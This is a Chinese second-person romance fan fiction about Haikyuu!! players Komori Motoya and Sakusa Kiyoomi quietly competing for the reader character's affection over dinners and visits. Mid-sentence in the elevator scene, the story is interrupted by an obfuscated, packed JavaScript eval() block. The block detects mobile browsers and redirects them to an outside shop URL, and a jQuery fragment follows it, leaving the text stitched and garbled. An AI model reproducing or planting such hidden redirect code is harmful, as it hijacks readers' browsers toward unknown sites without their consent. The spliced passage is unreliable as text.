古森元也的出现像一场准时的季风。
每周一次，有时是周六，有时是周日，遇到黑狼队和EJP都有比赛的时候会推迟，但从不缺席。
你曾经问他：“每周都跑，不累吗？”他笑了笑，说：“开车而已，又不远。”
从静冈到大阪，开车将近四小时，单程。
你的手机在下午三点就会收到他的消息：“今晚到，想吃什么？”
你回复“随便”，他会接着问“上次的布丁吃完了吗”“冰箱里的梅干还有吗”“需要帮你带新的洗发水吗”。
你一条条回复，语气懒散，字里行间透着一股“你看着办”的骄纵。
他没有半点不耐烦，最后一条总是“好，等我”。
佐久早总会在古森来的那天提前离开你的公寓，把冰箱填满，把垃圾带走，把玄关的鞋子摆好，然后消失在他自己的那扇门后面。
你从来没有要求他这么做，他从来没有解释过为什么这么做。
古森也从来不问为什么你家的冰箱总是满的，玄关不再有乱放的鞋。
他只是放下行李，把静冈带来的特产一样样摆上桌，系上围裙开始做饭。
“你今天想吃什么？”
他回头看你，围裙系带在腰后打了一个规整的蝴蝶结。
你窝在沙发上，下巴搁在抱枕上，想了想说：“姜烧猪肉。”
“上周不是刚吃过吗？换个口味吧。”他打开冰箱翻了翻，“做炖牛肉吧，你最近好像瘦了。”
“明明是你自己想吃。”你的声音闷闷的。
古森笑眯眯地不否认。
厨房里很快响起油锅的滋滋声，洋葱和肉的香气弥漫开来。
你没有去帮忙，他也不需要你帮忙，他做饭，你等着。
从初中开始就是这样，那时候你们在古森家一起写作业，他妈妈做饭的时候你们就在客厅等，你趴在榻榻米上翻漫画，他帮你把乱掉的刘海别到耳后。
现在也一样，只是地点从古森家的客厅变成了你的公寓。
你偶尔会想，古森元也是一个很神奇的存在。
他在你生命里出现得太早，早到你还没来得及学会“客气”和“距离”，他就已经在你的安全范围里了。
你对他从来不设防，不伪装，不收敛。
你在别人面前可能还算个正常人——会社交，会寒暄，会被说“有点冷淡但还算礼貌”。
但在古森面前，你就是一个懒得动弹的生物，蜷缩着，舒展着，把所有柔软的、脆弱的、不想给别人看的部分都摊开给他。
因为你深知他不会嫌你烦。
更不会走。
“听说你最近开始用烤箱了。”古森的声音从厨房传出来。
“圣臣君说的？”
“嗯。”他把火关小，走过来往你嘴里塞了一块苹果，“烤了什么？”
你嚼着苹果含混道：“蛋糕，失败了。”
“下次我教你。”
古森在你旁边的沙发坐下，自然地把你的腿捞到自己膝盖上，开始捏你的小腿，“久坐不好，要多走动。”
你“嗯”了一声，继续吃苹果。
他的手劲很专业，大概是自由人训练练出来的，知道怎么放松肌肉，酸胀感在指腹下一点点化开，你舒服得眯起眼睛，整个人往沙发里陷得更深了。
“元也，”你突然开口。
“嗯？”
“你会不会觉得我很没用？”
他捏腿的动作顿了一下，你感觉到他的目光落在你脸上，认真得让你有点不自在。
“不会。”他说，“你是我们认识的人里，最知道自己要什么的人。”
“可我什么也没做啊。”
“不做，也是一种选择。”
他的手继续捏了起来，语气淡淡的，“你选择不争不抢，不对自己不喜欢的事情勉强，多少人做不到。”
你没有接话，你也不知道他说的“多少人”里，包不包括他自己。
古森从来不和你说他训练有多苦，每天都早起晚归，跑动救球，接了无数次落下的排球，手指被砸得又红又肿也只是一笑了之。
他习惯了把辛苦藏起来，把温柔留给你。
晚餐是炖牛肉、味增汤、凉拌菠菜，还有一小碟他妈妈做的腌萝卜。
“阿姨又让你带东西了？”
你看着那碟腌萝卜，眼睛亮了一下，古森妈妈做的腌萝卜是你从小吃到大的味道，酸脆爽口，配什么都好吃。
“嗯，”古森给你盛饭，“她说你想吃了。”
“我没说啊……”
“她知道的。”古森笑了笑，“我妈说，你每隔一阵就会想吃这个，让我记得带。”
你低头扒饭，没说话，眼眶有点热，但你想不出有什么好哭的，于是把那股莫名的情绪和炖牛肉一起咽了下去。
饭间古森和你说起EJP最近的训练情况，说起队友的趣事，说起教练有多严格。
“上次比赛，我接了二十几个球，手都快废了。”
他笑着摊开手掌给你看——掌心有几处旧茧，指节修长，骨节分明。
你伸手戳了戳他的掌心，他作势要抓住你的手，你缩回去继续吃饭。
“黑狼队最近怎么样？”他忽然问。
“挺好的吧，”你夹了块牛肉，“圣臣君状态不错。”
“哦？”古森的语气没什么变化，“你去看比赛了？”
“没有，他说的。”
古森点点头，没有继续追问，你以为这个话题就过去了，但饭后他洗碗的时候，忽然隔着水流声说了一句：
“圣臣他……最近对你怎么样？”
你在沙发上翻杂志，头也没抬：“就那样啊，帮我做饭收拾房间什么的。”
“你愿意让他帮你收拾房间了？”
你愣了一下，这个问题好像带着某种你没有预料到的重量。
“……他说放着也是放着。”你含糊地回答。
古森没有再问了，厨房里只有水流的声音，碗碟碰撞的轻响。
你低头看杂志，其实什么也没看进去。
你知道古森在意的不是佐久早帮你做了什么，他在意的是，你居然愿意让佐久早帮你做这些。
因为你是一个很讨厌越界的人，你的“安全圈”很小，小到只有几个人。
古森是其中之一。
现在，佐久早好像也被你悄悄放进来了。
周五晚上，古森来大阪的第二个晚上，你们约了佐久早一起吃饭。
地点在你的公寓附近，一家开了很久的店，老板娘认识你们，每次都会多送一份炸鸡。
你到的时候古森已经在门口等了，他穿着深蓝色的卫衣，帽子没戴，露出那张总是笑眯眯的脸，晚风吹过来，他的刘海轻轻飘了一下。
“圣臣君还没到？”你走过去。
“堵车吧。”古森自然地接过你的包，“先进去等？”
包厢里你习惯性地坐到了古森旁边，这么多年了，你和古森一起吃饭的固定位置就是并排坐，对面留给别人。
佐久早到的时候，你正把碗里的玉子烧夹走。
“有点甜了，”你皱着眉咬了一口，“不好吃。”
“那给我吧。”古森接过你咬了一半的玉子烧，面不改色地吃掉了。
佐久早在对面坐下，他穿着黑色的薄外套，口罩还没摘，只露出一双眼睛，那双眼睛先看了你一眼，又看了古森一眼，最后落在古森筷子上那半块玉子烧上。
什么也没说。
你抬头冲他笑了一下：“圣臣君，晚上好。”
他“嗯”了一声，摘下口罩，开始给自己面前的餐具消毒。
你已经习惯了他这套流程——湿巾擦筷子、擦碟子、擦杯子，最后擦手，古森显然也习惯了，他一边给你倒茶一边说：“今天训练辛苦吗？”
“还好。”佐久早的声音是一贯的平。
“新赛季快开始了，状态调整得怎么样？”
“还行。”
古森又问了两句球队的事，佐久早简短地回答。
气氛不算热络但也不算尴尬，毕竟这种三人场合已经重复过无数次了——古森是气氛的粘合剂，你是被照顾的对象，佐久早是那个话少但存在感极强的“第三人”。
你很喜欢这家店的炸鸡，现炸的，外酥里嫩，咬下去会有肉汁渗出来。
你吃得满足地眯起眼睛，古森在旁边帮你递纸巾，“嘴角沾了酱”，你说“哪里”，他就帮你擦掉了。
整个过程你没看古森一眼，也没注意到对面佐久早的筷子在碟子里停了一瞬。
“圣臣，你怎么不吃？”古森忽然转头看他。
佐久早夹了一块炸鸡，放进你碗里。
“凉了就不好吃了。”他说。
你愣了一下，印象里这样的行为在佐久早的规则里大概是十级违规的程度吧，你抬头看他，他已经低下头在吃自己碗里的东西了，睫毛垂着，面无表情。
古森看着那块炸鸡，笑了一下。
那个笑容很轻，佐久早看见了，你余光也捕捉到了一点。
“多吃点，”古森又往你碟子里夹了一块，“你最近又瘦了。”
“哪有。”
“有的，上次抱你就觉得轻了。”
你说“那是因为你先入为主觉得我以前重了”，古森笑着不反驳。
饭桌上的话题逐渐散开，古森说起他下周要打客场的城市，佐久早偶尔插一句关于场地的评价，你听不太懂，就低头吃饭。
你一边吃一边无意识地把手搭在古森手臂上，手指卷着他的卫衣袖子玩。
从小到大，古森的袖子、衣角、包带、手指，什么都行，你就是需要手里捏着点东西，而他永远在你伸手就能够到的地方。
佐久早在对面看着那双手。
白细的手指绕在深蓝色的卫衣布料上，古森的手臂安稳地放在桌面上，任由你摆弄。
偶尔你玩过头扯得布料变了形，他也只是低头看你一眼，从不说“别闹”。
佐久早喝了一口茶，把视线移开。
饭后你们一起走出饭店，你酒饱饭足后困倦上涌，古森说要去便利店买点东西。
“我送她先回去。”佐久早的声音从背后传来，短促，没有商量的余地。
古森回头看了他一眼，两个人的视线在晚风里撞在一起。
你低着头打哈欠没关注空气里那点微妙的凝滞。
“也行，”古森先移开目光，“回头公寓见。”
他朝你挥了挥手，转身走向街角的便利店。
你和佐久早并肩走在回公寓的路上。
夜风把落樱吹到脚边，踩上去几乎没有声音，你沉默地走着，手插在外套口袋里。
“好吃吗？”佐久早忽然开口。
“嗯？”
“晚饭。”
“好吃啊，”你转头看他，“特别是炸鸡，真的很脆。”
他只是“嗯”了一声没有再说话，但你觉得他好像不是真的在问炸鸡。
你们之间又安静了，这次你试着找话题：“黑狼队最近训练忙吗？”
“还好。”
“下个月的比赛，我能去看吗？”
他脚步顿了一下，你差点撞到他背上，抬头看他，发现他正看着你，目光里有什么东西一闪而过。
“……想来就来。”他说完继续往前走。
你“哦”了一声跟上，走出几步才反应过来他耳朵好像有点红？
夜色太深，你看不太真切，但路灯照亮了他的侧脸，耳廓那一圈确实染着薄薄的绯色。
你移开视线，装作什么也没发现。
不知道是你们走太慢还是古森的动作过于快。
等你们慢慢悠悠到楼下，古森居然已经等着你们了，他靠着楼下的樱花树玩手机，看见你们来了便收起手机走过来。
公寓楼层高，电梯分单双数，一梯一户。
“我先上去了。”佐久早走向电梯。
你在电梯门关上之前叫了他一声：“圣臣君，晚安。”
他转过头看着你，眉眼间的线条比平时柔和了许多。
“晚安。”
电梯门合上，古森收回视线看着你，笑着说：“走吧。”
电梯里很安静，你低头看着自己的鞋尖，忽然说：“元也好像变了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795388|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“哪里变了？”
“说不上来。”你想了想，“好像……更在意了。”
他沉默了一瞬，“因为觉得你会被别人抢走啊。”
你抬头看他，他正好也低头看你，目光温柔，话里的意思却有深意。
“圣臣吗？”你问。
古森没有回答，伸手把你头顶掉下来的发夹重新别好。
“你更依赖我吗？”
你脱口而出：“当然了。”
从小到大都是这样，古森离得近，亲和力高，而且总是依着你纵容着你，你想要什么不用说出口他就会拿来，你心情不好什么都不用做他就会发现。
你理所当然地依赖着他，就像依赖空气和水，从来没想过“如果有一天他不在了”这种问题。
“那就好。”
古森揉揉你的头，“偏心也可以，但你至少要让他偶尔赢一次。”
“什么意思？”
电梯停了，门开了，古森推着你出去，没有回答这个问题。
进了门，刚换完鞋要往里走，古森从后面环着你，嗓音落在耳边。
“我说，偏心也可以。”他重复了一遍，“但不要太明显，他……会难过的。”
你张了张嘴想说点什么，古森已经低头在你额头上落下一个轻吻，不带任何暧昧，像小时候他帮你吹眼睛那样自然。
“晚安。”
晚上你躺在床上没有很快入睡，古森在你隔壁的客房。
那句“那会让你难过吗？”你没有问出口，因为你隐约知道答案。
也许古森不会和你说真话，也许他已经说了真话你没听懂。
第二天早晨，门铃响了。
你以为是古森买早餐回来了，揉着眼睛去开门——是佐久早。
他手里提着袋子，看见你开门，目光在你脸上停了一瞬。
“古森呢？”
“买早餐去了，或者买菜。”你侧身让他进来，“你怎么下来了？”
他没回答，把袋子放在茶几上，开始一样样往外拿——饭团、酸奶、水果，还有你喜欢的糖。
你靠在沙发上看他忙碌，忽然想起古森昨晚说的那句话。
“你至少要让他偶尔赢一次。”
“圣臣君，”你叫了他一声。
他转过头看着你，你穿着古森一件过大的卫衣，头发散着，睡眼惺忪，看起来像一只刚睡醒的猫。
“……你很帅。”你说。
他愣住了，你也不知道自己为什么突然说这个，但说都说了，收不回来了。
你打了个哈欠，站起来走向浴室：“谢谢你的早餐。”
门铃又响了，古森提着早餐回来，看见他有点出神，“怎么了？”
佐久早回过神，把手里的苹果糖塞进口袋。
“没什么。”
古森看了他一眼，没追问，他走进厨房，把买来的豆腐和味增放进冰箱，回头朝你刚关上的浴室门看了一眼。
“她还没洗漱？”古森问。
“……嗯。”
“今天倒是起得挺早。”
佐久早没接话，忽然有点不想走了。
他把袋子叠好，放进回收筐，对古森说：“我上去了。”
古森正在切豆腐，头也没抬：“中午一起吃饭？”
“有训练。”
“那晚上？”
佐久早沉默片刻，“……再说。”
他拉开门，走了出去，走廊的空气有些凉，早春的风从楼梯的窗户间灌进来，带着泥土和花苞的气息。
他从口袋里摸出糖，拆开，塞了一颗进嘴里。
太甜了。
不是他喜欢的口味，但你喜欢。
你喜欢的，他都记得。
往楼上走，他止不住地想起你说那句话时的表情——漫不经心的，漫不经心里藏着一点不好意思，不好意思里又带着一点点“你能拿我怎么办”的骄纵。
都是古森惯出来的。
回到家，他把嘴里的糖咬碎，甜味和酸味一起炸开，不是他喜欢的味道，但他舍不得咽下去太快，因为是你说的甜。
你随口说的一句话，他可以在心里回味一整天，这就是喜欢吗？他不知道。
他只知道，你穿着古森的卫衣说“你很帅”的时候，他想把你从古森的卫衣里剥出来，换上自己的。
只是一种不敢说出口的愿望——你也穿着我的衣服吧。
也偶尔偏心我一次吧。
口袋里的手机震动了，古森的消息：“她刚才说梦到你了。”
佐久早盯着屏幕。
古森又发了一条：“说你给她披过外套？”
佐久早想起那是高二体育课的事，你穿少了冻得瑟缩，他把自己的外套脱下来递给你，你犹豫着没接，他直接搭在你肩上，说“穿着”。
你抬头看他，眼睛里有受宠若惊的亮。
他转开脸没有多看。
原来你都记得。
他回复古森：“……让她多喝热水。”
按下发送键的瞬间他意识到自己有多笨拙，如果是古森，他一定会说的是“梦到我了吗？是什么样的梦？”
这就是他和古森的区别。
他把手机扔到沙发上，走进浴室，打开水龙头，让冷水浇在脸上，镜子里的人头发湿了，眼睛红红的，看起来狼狈极了。
你想必不知道吧，他心里这么想，你随口说的一句话，能把人变成这样。
你在公寓里打了一个喷嚏，古森立刻从厨房探出头来：“感冒了？”
“没有，可能有人在念叨我。”
“谁念叨你？”古森笑了笑，重新把头缩回去。
你窝在沙发上想了想昨晚的梦。
梦到高二体育课，冷风里一件外套落在肩头，梦里的佐久早比现在矮一点，肩膀窄一点，但眼神是一样的——回避的，克制的，以及很深很深的地方藏着一点东西。
你在梦里侧头看了他一眼，他立刻转开脸。
“冷吗？”他问。
“不冷了。”你说。
梦里他没有再说话，只是默默走在你的左边，替你挡住了所有的风。